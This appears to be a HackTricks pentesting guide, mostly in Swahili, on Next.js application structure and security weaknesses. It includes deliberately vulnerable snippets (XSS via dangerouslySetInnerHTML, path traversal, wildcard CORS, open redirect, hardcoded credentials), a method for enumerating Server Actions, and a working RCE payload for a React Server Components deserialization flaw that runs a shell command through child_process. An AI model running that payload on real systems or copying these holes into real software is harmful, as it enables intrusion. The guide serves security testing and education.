NextJS

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Mimarishwaji ya Jumla ya Maombi ya Next.js

Muundo wa Faili wa Kawaida

Mradi wa kawaida wa Next.js hufuata muundo maalum wa faili na saraka unaorahisisha vipengele vyake kama routing, API endpoints, na usimamizi wa mali za static. Hapa kuna mpangilio wa kawaida:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Saraka za Msingi na Faili

• public/: Inahifadhi mali za static kama images, fonts, na faili nyingine. Faili hapa zinapatikana kwenye path ya mzizi (/).
• app/: Saraka kuu kwa kurasa za application yako, layouts, components, na API routes. Inakumbatia paradigms ya App Router, ikiwezesha vipengele vya routing vya juu na utofautishaji wa components za server-client.
• app/layout.tsx: Huelezea layout ya mzizi kwa application yako, ikizunguka kurasa zote na ikitoa vipengele vya UI vinavyolingana kama headers, footers, na navigation bars.
• app/page.tsx: Inatumiwa kama kipengele cha kuingia kwa route ya mzizi /, ikitoa home page.
• app/[route]/page.tsx: Inashughulikia routes za static na dynamic. Kila folda ndani ya app/ inawakilisha sehemu ya route, na page.tsx ndani ya hizo folda inahusiana na component ya route.
• app/api/: Ina API routes, ikikuruhusu kuunda serverless functions zinazoshughulikia HTTP requests. Routes hizi zinachukua nafasi ya saraka ya jadi pages/api.
• app/components/: Inahifadhi React components zinazoweza kutumika tena ambazo zinaweza kutumika katika kurasa na layouts tofauti.
• app/styles/: Ina faili za global CSS na CSS Modules kwa styling inayolengwa kwenye components.
• app/utils/: Inajumuisha functions za utility, modules za msaada, na logic nyingine isiyo ya UI ambayo inaweza kushirikiwa katika application.
• .env.local: Inahifadhi environment variables maalum kwa mazingira ya maendeleo ya eneo la ndani. Variables hizi hazitumiwi kuwekewa version control.
• next.config.js: Inabinafsisha tabia ya Next.js, ikiwa ni pamoja na webpack configurations, environment variables, na settings za usalama.
• tsconfig.json: Inapanga mipangilio ya TypeScript kwa mradi, ikiwasha type checking na vipengele vingine vya TypeScript.
• package.json: Inasimamia dependencies za mradi, scripts, na metadata.
• README.md: Inatoa nyaraka na taarifa kuhusu mradi, ikiwa ni pamoja na maagizo ya setup, miongozo ya matumizi, na maelezo mengine muhimu.
• yarn.lock / package-lock.json: Inafunga dependencies za mradi kwa versions maalum, kuhakikisha usakinishaji thabiti katika mazingira tofauti.

Client-Side katika Next.js

File-Based Routing katika app Directory

Saraka ya app ndiyo msingi wa routing katika toleo za hivi karibuni za Next.js. Inatumia filesystem kufafanua routes, na kufanya usimamizi wa routes kuwa wa kimantiki na unaoweza kupanuka.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Udhaifu Zinazowezekana Upande wa Mteja

Ingawa Next.js inatoa msingi salama, mbinu zisizo sahihi za kuandika misimbo zinaweza kuleta udhaifu. Udhaifu muhimu za upande wa mteja ni pamoja na:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Server-Side katika Next.js

Server-Side Rendering (SSR)

Pages are rendered on the server on each request, ensuring that the user receives fully rendered HTML. In this case you should create your own custom server to process the requests.

Matumizi:

• Maudhui yanayobadilika mara kwa mara.
• SEO optimization, as search engines can crawl the fully rendered page.

Utekelezaji:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Static Site Generation (SSG)

Kurasa zinatayarishwa kabla ya wakati wa ujenzi, zikisababisha nyakati za kupakia kuwa fupi na kupunguza mzigo wa seva.

Matumizi:

• Yaliyomo ambayo hayatabadilika mara kwa mara.
• Blogu, nyaraka, kurasa za uuzaji.

Utekelezaji:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Function zisizo na-server (API Routes)

Next.js inaruhusu kuunda API endpoints kama serverless functions. Function hizi zinaendesha kwa mahitaji bila kuhitaji server maalum.

Matumizi:

• Kushughulikia kuwasilishwa kwa fomu.
• Kushirikiana na hifadhidata.
• Kuchakata data au kuunganisha na API za wahusika wa tatu.

Utekelezaji:

Kwa kuanzishwa kwa saraka ya app katika Next.js 13, routing na API handling yamekuwa zaidi ya kubadilika na yenye nguvu. Mbinu hii ya kisasa inaendana kwa karibu na mfumo wa routing uliotegemea faili lakini inaleta uwezo ulioboreshwa, ikiwa ni pamoja na msaada kwa server na client components.

Mshughulikiaji wa Route wa Msingi

Muundo wa Faili:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Utekelezaji:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Maelezo:

• Mahali: API routes ziko chini ya saraka app/api/.
• Jina la Faili: Kila endpoint ya API iko katika folda yake ikiwa na faili ya route.js au route.ts.
• Funsi Zilizotolewa: Badala ya export moja ya default, fonksheni maalum za HTTP (mfano, GET, POST) zinatolewa.
• Utunzaji wa Majibu: Tumia constructor ya Response kurudisha majibu, ikiruhusu udhibiti zaidi wa headers na status codes.

Jinsi ya kushughulikia njia (paths) na methods nyingine:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

Usanidi wa CORS

Dhibiti vyanzo vinavyoweza kufikia API routes zako, kupunguza Cross-Origin Resource Sharing (CORS) vulnerabilities.

Mfano wa Usanidi Mbaya:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Kumbuka kwamba CORS inaweza pia kusanidiwa katika routes zote za API ndani ya faili middleware.ts:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Tatizo:

• Access-Control-Allow-Origin: '*': Inaruhusu tovuti yoyote kufikia API, na inaweza kuruhusu tovuti zenye nia mbaya kuingiliana na API yako bila vizuizi.
• Kuruhusu mbinu nyingi: Kuruhusu mbinu zote kunaweza kuwaruhusu wadukuzi kufanya vitendo visivyotakikana.

Jinsi wadukuzi wanavyovitumia:

Wadukuzi wanaweza kuunda tovuti zenye nia mbaya zinazofanya maombi kwa API yako, na kwa njia hiyo wataweza kutumia vibaya kazi kama vile kupata data, kubadili data, au kusababisha vitendo visivyotakikana kwa niaba ya watumiaji waliothibitishwa.

CORS - Misconfigurations & Bypass

Kufichuliwa kwa msimbo wa seva kwenye upande wa mteja

Inaweza kuwa rahisi kutumia msimbo unaotumika kwenye seva pia katika msimbo unaofichuliwa na kutumika kwenye upande wa mteja, njia bora ya kuhakikisha kwamba faili ya msimbo haifichuliwi upande wa mteja ni kwa kutumia import hii mwanzoni mwa faili:

import "server-only"

Mafaili Muhimu na Majukumu Yao

middleware.ts / middleware.js

Location: Mzizi wa mradi au ndani ya src/.

Purpose: Inatekeleza code katika server-side serverless function kabla request ikasindikwa, ikiruhusu kazi kama authentication, redirects, au kubadilisha responses.

Mtiririko wa Utekelezaji:

1. Incoming Request: Middleware inakamata request.
2. Processing: Inatekeleza operesheni kulingana na request (kwa mfano, check authentication).
3. Response Modification: Inaweza kubadilisha response au kupitisha udhibiti kwa handler inayofuata.

Mfano wa Matumizi:

• Kuredirect watumiaji wasiotambulika.
• Kuongeza headers maalum.
• Kurekodi requests.

Mfano wa Mipangilio:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

next.config.js

Mahali: Mzizi wa mradi.

Madhumuni: Inapangilia tabia za Next.js, kuamsha au kuzima vipengele, kubinafsisha mipangilio ya webpack, kuweka variables za mazingira, na kusanidi vipengele kadhaa vya usalama.

Mipangilio Muhimu ya Usalama:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js and pages/_document.js

pages/_app.js

Madhumuni: Inabadilisha component ya App ya default, ikiruhusu state ya kimataifa, styles, na components za layout.

Matumizi:

• Kuingiza CSS ya kimataifa.
• Kuongeza wrappers za layout.
• Kujumuisha maktaba za usimamizi wa state.

Mfano:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Madhumuni: Inabadilisha default Document, ikiruhusu kubinafsisha lebo za na .

Matumizi:

• Kurekebisha lebo za au .
• Kuongeza meta tags au script maalum.
• Kuunganisha fonti za mtu wa tatu.

Mfano:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Server Maalum (Hiari)

Madhumuni: Wakati Next.js inakuja na seva iliyojengwa ndani, unaweza kuunda seva maalum kwa matumizi ya juu kama routing maalum au kuunganisha na huduma za backend zilizopo.

Kumbuka: Kutumia seva maalum kunaweza kupunguza chaguzi za deployment, hasa kwenye majukwaa kama Vercel ambayo yameboresha kwa seva iliyojengwa ndani ya Next.js.

Mfano:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Mambo ya Ziada ya Miundombinu na Usalama

Vigezo vya Mazingira na Usanidi

Kusudi: Kusimamia taarifa nyeti na mipangilio ya usanidi nje ya msimbo.

Mbinu Bora:

• Tumia .env Files: Hifadhi vigezo kama API keys katika .env.local (zimetengwa kutoka kwa version control).
• Pata Vigezo kwa Usalama: Tumia process.env.VARIABLE_NAME kufikia vigezo vya mazingira.
• Usiweka Siri kwenye Client: Hakikisha kwamba vigezo nyeti vinatumika upande wa server pekee.

Mfano:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Kumbuka: Ili kuzuia variables ziwekwe upande wa server pekee, ziondoe kutoka kwenye env object au ziweke na kiambishi NEXT_PUBLIC_ ili kuonyesha kwa client.

Uthibitishaji na Uidhinishaji

Mbinu:

• Session-Based Authentication: Tumia cookies kudhibiti sessions za watumiaji.
• Token-Based Authentication: Tekeleza JWTs kwa authentication isiyo na state.
• Third-Party Providers: Unganisha na OAuth providers (e.g., Google, GitHub) ukitumia libraries like next-auth.

Mioyo ya Usalama:

• Secure Cookies: Weka vigezo vya HttpOnly, Secure, na SameSite.
• Password Hashing: Daima fanya hash ya nywila kabla ya kuzihifadhi.
• Input Validation: Zuia injection attacks kwa kuthibitisha na kusafisha inputs.

Mfano:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Uboreshaji wa Utendaji

Mikakati:

• Uboreshaji wa Picha: Tumia Next.js’s next/image component kwa uboreshaji wa picha kiotomatiki.
• Ugawaji wa Msimbo (Code Splitting): Tumia dynamic imports ili kugawanya msimbo na kupunguza muda wa mzigo wa awali.
• Caching: Tekeleza mikakati ya caching kwa majibu ya API na assets za static.
• Lazy Loading: Pakia components au assets tu wakati zinapohitajika.

Mfano:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Next.js ya kisasa inatumia “Server Actions” zinazotekelezwa kwenye seva lakini zinaombwa kutoka kwa mteja. Katika uzalishaji, miito hii haieleweki wazi: POSTs zote zinafika kwenye endpoint moja ya pamoja na hutofautishwa na hash maalum ya build inayotumwa kwenye kichwa Next-Action. Mfano:

POST /
Next-Action: a9f8e2b4c7d1...

Wakati productionBrowserSourceMaps imewezeshwa, minified JS chunks zina wito kwa createServerReference(...) ambazo leak muundo wa kutosha (pamoja na source maps zinazohusiana) ili kupata ramani kati ya action hash na jina la asili la function. Hii inakuwezesha kutafsiri hashes zinazochunguzwa katika Next-Action kuwa malengo mahususi kama deleteUserAccount() au exportFinancialData().

Mbinu ya uondoaji (regex on minified JS + optional source maps)

Tafuta JS chunks zilizopakuliwa kwa createServerReference na chota hash na function/source symbol. Mifumo miwili inayofaa:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Kikundi 1: server action hash (40+ hex chars)
• Kikundi 2: symbol or path that can be resolved to the original function via the source map when present

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Mfumo wa kazi wa vitendo

• Passive discovery while browsing: capture requests with Next-Action headers and JS chunk URLs.
• Fetch the referenced JS bundles and accompanying *.map files (when present).
• Run the regex above to build a hash↔name dictionary.
• Use the dictionary to target testing:
• Name-driven triage (e.g., transferFunds, exportFinancialData).
• Track coverage across builds by function name (hashes rotate across builds).

Exercising hidden actions (template-based request)

Take a valid POST observed in-proxy as a template and swap the Next-Action value to target another discovered action:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Replay in Repeater and ujaribu idhinisho, uthibitishaji wa pembejeo na mantiki ya biashara ya vitendo ambavyo vinginevyo haviwezi kufikiwa.

Utaratibu wa Burp

• NextjsServerActionAnalyzer (Burp extension) hutautomate yaliyoelezewa hapo juu ndani ya Burp:
• Huchimba proxy history kwa ajili ya JS chunks, hutoa entries za createServerReference(...), na huchambua source maps inapopatikana.
• Huitunza kamusi inayotafutika ya hash↔function-name na hutenganisha nakala (de-duplicates) kati ya builds kwa jina la function.
• Inaweza kupata template POST halali na kufungua tab ya Repeater tayari-kutumwa na hash ya action lengwa imebadilishwa ndani.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Vidokezo na vikwazo

• Inahitaji productionBrowserSourceMaps kuwezeshwa katika production ili kurejesha majina kutoka kwa bundles/source maps.
• Function-name disclosure si udhaifu mwenyewe; itumie kuongoza ugunduzi na kujaribu idhinisho la kila action.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments zinazofichua Server Actions kwenye react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) zina prototype pollution muhimu upande wa server wakati wa deserialization ya Flight chunk. Kwa kutengeneza marejeo ya $ ndani ya Flight payload, mshambuliaji anaweza kuhamisha kutoka prototypes zilizochafuliwa hadi utekelezaji wa JavaScript bila kikomo na kisha hadi utekelezaji wa amri za OS ndani ya mchakato wa Node.js.

NodeJS - proto & prototype Pollution

Mnyororo wa mashambulizi katika Flight chunks

1. Prototype pollution primitive: Weka "then": "$1:__proto__:then" ili resolver iandike function then kwenye Object.prototype. Kila plain object itakayoshughulikiwa baadaye itakuwa thenable, ikimruhusu mshambuliaji kuathiri mtiririko wa async control ndani ya RSC internals.
2. Rebinding to the global Function constructor: Elekeza _response._formData.get kwa "$1:constructor:constructor". Wakati wa resolution, object.constructor → Object, na Object.constructor → Function, hivyo miito ya baadaye ya _formData.get() kwa kweli hufanya Function(...).
3. Code execution via _prefix: Weka chanzo cha JavaScript katika _response._prefix. Wakati _formData.get iliyopolluted itakapoitwa, framework inatafakari Function(_prefix)(...), hivyo JS iliyobandikwa inaweza kuendesha require('child_process').exec() au primitive yoyote nyingine ya Node.

Muundo wa payload

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Marejeo

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.